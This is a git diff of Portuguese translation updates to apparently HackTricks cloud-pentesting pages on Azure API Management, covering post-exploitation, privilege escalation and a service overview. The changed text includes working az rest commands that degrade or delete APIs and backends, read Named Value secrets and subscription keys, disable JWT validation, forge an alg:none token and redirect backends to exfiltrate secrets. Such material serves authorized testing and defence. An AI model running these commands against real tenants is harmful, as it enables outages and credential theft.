diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-api-management-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-api-management-post-exploitation.md index 97de1e4fe..083d55953 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-api-management-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-api-management-post-exploitation.md @@ -2,8 +2,8 @@ {{#include ../../../banners/hacktricks-training.md}} -## `Microsoft.ApiManagement/service/apis/policies/write` ou `Microsoft.ApiManagement/service/policies/write` -O atacante pode usar múltiplos vetores para causar um denial of service. Para bloquear o tráfego legítimo, o atacante adiciona políticas de rate-limiting e quota com valores extremamente baixos, impedindo efetivamente o acesso normal: +## `Microsoft.ApiManagement/service/apis/policies/write` or `Microsoft.ApiManagement/service/policies/write` +O atacante pode usar vários vetores para causar uma denial of service. Para bloquear o tráfego legítimo, o atacante adiciona políticas de rate-limiting e quota com valores extremamente baixos, efetivamente impedindo o acesso normal: ```bash az rest --method PUT \ --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//apis//policies/policy?api-version=2024-05-01" \ @@ -15,7 +15,7 @@ az rest --method PUT \ } }' ``` -Para bloquear IPs legítimos de clientes específicos, o atacante pode adicionar políticas de filtragem de IP que rejeitam requisições de endereços selecionados: +Para bloquear IPs de clientes legítimos específicos, o atacante pode adicionar IP filtering policies que rejeitam solicitações de endereços selecionados: ```bash az rest --method PUT \ --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//apis//policies/policy?api-version=2024-05-01" \ @@ -28,7 +28,7 @@ az rest --method PUT \ }' ``` ## `Microsoft.ApiManagement/service/backends/write` or `Microsoft.ApiManagement/service/backends/delete` -Para fazer com que as requisições falhem, o atacante pode modificar a configuração do backend e alterar sua URL para um endereço inválido ou inacessível: +Para fazer com que as requisições falhem, o attacker pode modificar a configuração de um backend e alterar sua URL para um endereço inválido ou inacessível: ```bash az rest --method PUT \ --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//backends/?api-version=2024-05-01" \ @@ -40,21 +40,21 @@ az rest --method PUT \ } }' ``` -Ou excluir backends: +Ou delete backends: ```bash az rest --method DELETE \ --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//backends/?api-version=2024-05-01" \ --headers "If-Match=*" ``` ## `Microsoft.ApiManagement/service/apis/delete` -Para tornar APIs críticas indisponíveis, o attacker pode excluí-las diretamente do API Management service: +Para tornar APIs críticas indisponíveis, o atacante pode excluí-las diretamente do serviço API Management: ```bash az rest --method DELETE \ --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//apis/?api-version=2024-05-01" \ --headers "If-Match=*" ``` -## `Microsoft.ApiManagement/service/write` or `Microsoft.ApiManagement/service/applynetworkconfigurationupdates/action` -Para bloquear o acesso pela Internet, o atacante pode desabilitar o acesso público à rede no API Management service: +## `Microsoft.ApiManagement/service/write` ou `Microsoft.ApiManagement/service/applynetworkconfigurationupdates/action` +Para bloquear o acesso pela Internet, o atacante pode desativar o acesso público à rede no serviço API Management: ```bash az rest --method PATCH \ --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service/?api-version=2024-05-01" \ diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md index 50bbb1809..cca4aa33c 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md @@ -4,22 +4,22 @@ ## `Microsoft.ApiManagement/service/namedValues/read` & `Microsoft.ApiManagement/service/namedValues/listValue/action` -O ataque consiste em acessar segredos sensíveis armazenados em Azure API Management Named Values, seja recuperando diretamente os valores secretos ou abusando de permissões para obter segredos protegidos por Key Vault através de managed identities. +O ataque consiste em acessar segredos sensíveis armazenados em Azure API Management Named Values, seja recuperando diretamente os valores secretos, seja abusando de permissões para obter segredos protegidos por Key Vault por meio de managed identities. ```bash az apim nv show-secret --resource-group --service-name --named-value-id ``` ## `Microsoft.ApiManagement/service/subscriptions/read` & `Microsoft.ApiManagement/service/subscriptions/listSecrets/action` -Para cada subscription, o atacante pode obter as subscription keys usando o endpoint listSecrets com o método POST: +Para cada subscription, o atacante pode obter as chaves da subscription usando o endpoint listSecrets com o método POST: ```bash az rest --method POST \ --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//subscriptions//listSecrets?api-version=2024-05-01" ``` -A resposta inclui a chave primária da assinatura (primaryKey) e a chave secundária (secondaryKey). Com essas chaves, o atacante pode autenticar e acessar as APIs publicadas através do API Management Gateway: +A resposta inclui a subscription primary key (primaryKey) e a secondary key (secondaryKey). Com essas chaves, o attacker pode autenticar-se e acessar as APIs publicadas através do API Management Gateway: ```bash curl -H "Ocp-Apim-Subscription-Key: " \ https://.azure-api.net/ ``` -O atacante pode acessar todas as APIs e produtos associados à assinatura. Se a assinatura tiver acesso a produtos ou APIs sensíveis, o atacante pode obter informações confidenciais ou executar operações não autorizadas. +O atacante pode acessar todas as APIs e produtos associados à assinatura. Se a assinatura tiver acesso a produtos ou APIs sensíveis, o atacante poderá obter informações confidenciais ou executar operações não autorizadas. ## `Microsoft.ApiManagement/service/policies/write` ou `Microsoft.ApiManagement/service/apis/policies/write` @@ -28,7 +28,7 @@ O atacante primeiro recupera a política atual da API: az rest --method GET \ --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//apis//policies/?api-version=2024-05-01&format=rawxml" ``` -O atacante pode modificar a política de várias formas dependendo de seus objetivos. Por exemplo, para desabilitar a autenticação, se a política incluir JWT token validation, o atacante pode remover ou comentar essa seção: +O atacante pode modificar a política de várias maneiras, dependendo de seus objetivos. Por exemplo, para desabilitar a autenticação, se a política incluir JWT token validation, o atacante pode remover ou comentar essa seção: ```xml @@ -84,11 +84,11 @@ az rest --method PUT \ } }' ``` -## Misconfiguração na Validação de JWT +## Configuração incorreta de validação de JWT -O atacante precisa saber que uma API usa validação de tokens JWT e que a política está mal configurada. Políticas de validação de JWT mal configuradas podem ter `require-signed-tokens="false"` ou `require-expiration-time="false"`, o que permite que o serviço aceite tokens não assinados ou tokens que nunca expiram. +O atacante precisa saber que uma API usa validação de token JWT e que a política está mal configurada. Políticas de validação de JWT mal configuradas podem ter `require-signed-tokens="false"` ou `require-expiration-time="false"`, o que permite que o serviço aceite tokens não assinados ou tokens que nunca expiram. -O atacante cria um token JWT malicioso usando o algoritmo none (unsigned): +O atacante cria um JWT malicioso usando o algoritmo none (unsigned): ``` # Header: {"alg":"none"} # Payload: {"sub":"user"} @@ -110,7 +110,7 @@ az rest --method GET \ ``` O atacante analisa a resposta JSON para verificar os valores de `publicNetworkAccess` e `virtualNetworkType`. Se `publicNetworkAccess` estiver definido como false ou `virtualNetworkType` estiver definido como Internal, o serviço está configurado para acesso privado. -Para expor o serviço à Internet, o atacante deve alterar ambas as configurações. Se o serviço estiver em modo Internal (`virtualNetworkType: "Internal"`), o atacante altera para None ou External e habilita `publicNetworkAccess`. Isso pode ser feito usando a Azure Management API: +Para expor o serviço à Internet, o atacante precisa alterar ambos os parâmetros. Se o serviço estiver em modo interno (`virtualNetworkType: "Internal"`), o atacante altera para None ou External e habilita o acesso público à rede. Isso pode ser feito usando o Azure Management API: ```bash az rest --method PATCH \ --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service/?api-version=2024-05-01" \ @@ -122,7 +122,7 @@ az rest --method PATCH \ } }' ``` -Uma vez que `virtualNetworkType` esteja definido como `None` ou `External` e `publicNetworkAccess` esteja habilitado, o serviço e todas as suas APIs tornam-se acessíveis pela Internet, mesmo que anteriormente estivessem protegidos por uma rede privada ou endpoints privados. +Uma vez que `virtualNetworkType` esteja definido como `None` ou `External` e `publicNetworkAccess` esteja habilitado, o serviço e todas as suas APIs tornam-se acessíveis pela Internet, mesmo que antes estivessem protegidos por trás de uma rede privada ou endpoints privados. ## `Microsoft.ApiManagement/service/backends/write` O atacante primeiro enumera os backends existentes para identificar qual modificar: @@ -130,12 +130,12 @@ O atacante primeiro enumera os backends existentes para identificar qual modific az rest --method GET \ --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//backends?api-version=2024-05-01" ``` -O atacante obtém a configuração atual do backend que deseja modificar: +The attacker recupera a configuração atual do backend que deseja modificar: ```bash az rest --method GET \ --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//backends/?api-version=2024-05-01" ``` -O atacante modifica o backend URL para apontar para um servidor sob seu controle. Primeiro, ele obtém o ETag da resposta anterior e então atualiza o backend: +O atacante modifica a URL do backend para apontar para um servidor sob seu controle. Primeiro, ele obtém o ETag da resposta anterior e então atualiza o backend: ```bash az rest --method PUT \ --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//backends/?api-version=2024-05-01" \ @@ -148,7 +148,7 @@ az rest --method PUT \ } }' ``` -Alternativamente, o atacante pode configurar cabeçalhos do backend para exfiltrar Named Values que contenham segredos. Isso é feito através da configuração de backend credentials: +Alternativamente, o atacante pode configurar backend headers para exfiltrate Named Values contendo segredos. Isso é feito através da backend credentials configuration: ```bash az rest --method PUT \ --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//backends/?api-version=2024-05-01" \ @@ -165,6 +165,6 @@ az rest --method PUT \ } }' ``` -Com esta configuração, Named Values são enviados como headers em todas as requests para o backend controlado pelo atacante, permitindo a exfiltração de segredos sensíveis. +Com esta configuração, Named Values são enviados como headers em todas as requisições para o backend controlado pelo atacante, permitindo a exfiltração de segredos sensíveis. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-services/az-api-management.md b/src/pentesting-cloud/azure-security/az-services/az-api-management.md index ae07603f5..96b1d69e4 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-api-management.md +++ b/src/pentesting-cloud/azure-security/az-services/az-api-management.md @@ -4,38 +4,39 @@ ## Informações Básicas -Azure API Management (APIM) é um serviço totalmente gerenciado que oferece uma **plataforma unificada para publicar, proteger, transformar, gerenciar e monitorar APIs**. Ele permite que organizações **centralizem sua estratégia de API** e garantam governança, desempenho e segurança consistentes em todos os seus serviços. Ao agir como uma camada de abstração entre serviços backend e consumidores de API, APIM simplifica a integração e melhora a manutenibilidade enquanto fornece capacidades operacionais e de segurança essenciais. +Azure API Management (APIM) é um serviço totalmente gerenciado que oferece uma **plataforma unificada para publicar, proteger, transformar, gerenciar e monitorar APIs**. Ele permite que as organizações **centralizem sua estratégia de API** e garantam governança, desempenho e segurança consistentes em todos os seus serviços. Ao atuar como uma camada de abstração entre os serviços de backend e os consumidores de API, o APIM simplifica a integração e aumenta a manutenibilidade enquanto fornece capacidades operacionais e de segurança essenciais. ## Conceitos Principais -**O API Gateway** atua como o ponto único de entrada para todo o tráfego de API, realizando funções como roteamento de requisições para serviços backend, aplicação de limites de taxa, cache de respostas e gerenciamento de autenticação e autorização. Esse gateway é totalmente hospedado e gerenciado pela Azure, garantindo alta disponibilidade e escalabilidade. +**O API Gateway** serve como o ponto de entrada único para todo o tráfego de API, realizando funções como roteamento de requisições para serviços de backend, aplicação de limites de taxa, cache de respostas e gerenciamento de autenticação e autorização. Esse gateway é totalmente hospedado e gerenciado pela Azure, garantindo alta disponibilidade e escalabilidade. -**O Developer Portal** fornece um ambiente self-service onde consumidores de API podem descobrir APIs disponíveis, ler documentação e testar endpoints. Ele ajuda a agilizar o onboarding oferecendo ferramentas interativas e acesso a informações de assinaturas. +**O Developer Portal** fornece um ambiente de autoatendimento onde os consumidores de API podem descobrir APIs disponíveis, ler documentação e testar endpoints. Ele ajuda a agilizar a integração ao oferecer ferramentas interativas e acesso às informações de assinatura. -**O Management Portal (Management Plane)** é usado por administradores para configurar e manter o serviço APIM. A partir dele, usuários podem definir APIs e operações, configurar controle de acesso, aplicar policies, gerenciar usuários e organizar APIs em produtos. Esse portal centraliza a administração e garante governança consistente das APIs. +**O Management Portal (Management Plane)** é usado por administradores para configurar e manter o serviço APIM. A partir daqui, os usuários podem definir APIs e operações, configurar controle de acesso, aplicar políticas, gerenciar usuários e organizar APIs em produtos. Este portal centraliza a administração e garante governança consistente das APIs. ## Autenticação e Autorização -Azure API Management suporta vários **mecanismos de autenticação** para proteger o acesso às APIs. Isso inclui **subscription keys**, **tokens OAuth 2.0** e **certificados de cliente**. APIM também integra nativamente com **Microsoft Entra ID**, possibilitando **gerenciamento de identidade em nível corporativo** e **acesso seguro** tanto às APIs quanto aos serviços backend. +Azure API Management suporta vários **mecanismos de autenticação** para proteger o acesso às APIs. Estes incluem **chaves de assinatura**, **tokens OAuth 2.0** e **certificados de cliente**. O APIM também integra-se nativamente com **Microsoft Entra ID**, permitindo **gerenciamento de identidades em nível empresarial** e **acesso seguro** tanto às APIs quanto aos serviços de backend. -## Policies +## Políticas -Policies no APIM permitem que administradores personalizem o **processamento de requisições e respostas** em várias granularidades, incluindo o nível de **service**, **API**, **operation** ou **product**. Através de policies, é possível aplicar **validação de token JWT**, **transformar payloads XML ou JSON**, **aplicar rate limiting**, **restringir chamadas por endereço IP** ou **autenticar contra serviços backend usando managed identities**. Policies são **altamente flexíveis** e constituem uma das **principais forças** da plataforma API Management, permitindo **controle fino sobre o comportamento em tempo de execução** sem modificar o código backend. +As políticas no APIM permitem que administradores personalizem o **processamento de requisições e respostas** em vários níveis de granularidade, incluindo o nível de **serviço**, **API**, **operação** ou **produto**. Através de políticas, é possível aplicar **validação de tokens JWT**, **transformar payloads XML ou JSON**, **aplicar limitação de taxa**, **restrição de chamadas por endereço IP** ou **autenticar contra serviços de backend usando identidades gerenciadas**. As políticas são **altamente flexíveis** e constituem uma das **principais forças** da plataforma API Management, possibilitando **controle granular sobre o comportamento em tempo de execução** sem modificar o código do backend. ## Named Values -O serviço fornece um mecanismo chamado **Named Values**, que permite armazenar **informações de configuração** como **segredos**, **API keys** ou outros valores necessários pelas policies. +O serviço fornece um mecanismo chamado **Named Values**, que permite armazenar **informações de configuração** como **segredos**, **chaves de API** ou outros valores necessários para as políticas. -Esses valores podem ser armazenados diretamente no APIM ou referenciados de forma segura a partir do **Azure Key Vault**. Named Values promovem **gerenciamento seguro e centralizado** de dados de configuração e simplificam a criação de policies ao permitir **referências reutilizáveis** em vez de valores hardcoded. +Esses valores podem ser armazenados diretamente no APIM ou referenciados com segurança a partir do **Azure Key Vault**. Named Values promovem **gerenciamento seguro e centralizado** dos dados de configuração e simplificam a criação de políticas ao permitir **referências reutilizáveis** em vez de valores codificados diretamente. -## Redes e Integração de Segurança +## Integração de Rede e Segurança -Azure API Management integra-se perfeitamente com **ambientes de rede virtual**, possibilitando **conectividade privada e segura** com sistemas backend. +Azure API Management integra-se perfeitamente com **ambientes de rede virtual**, possibilitando **conectividade privada e segura** a sistemas de backend. -Quando implantado dentro de uma **Virtual Network (VNet)**, o APIM pode acessar **serviços internos** sem expô‑los publicamente. O serviço também permite a configuração de **certificados customizados** para suportar **mutual TLS authentication** com serviços backend, melhorando a segurança em cenários onde é necessária **validação forte de identidade**. +Quando implantado dentro de uma **Virtual Network (VNet)**, o APIM pode acessar **serviços internos** sem expô-los publicamente. O serviço também permite a configuração de **certificados personalizados** para suportar **autenticação mTLS (mutual TLS)** com serviços de backend, melhorando a segurança em cenários onde **validação forte de identidade** é necessária. Essas **funcionalidades de rede** tornam o APIM adequado tanto para arquiteturas **cloud-native** quanto **híbridas**. + ### Enumerar Para enumerar o serviço API Management: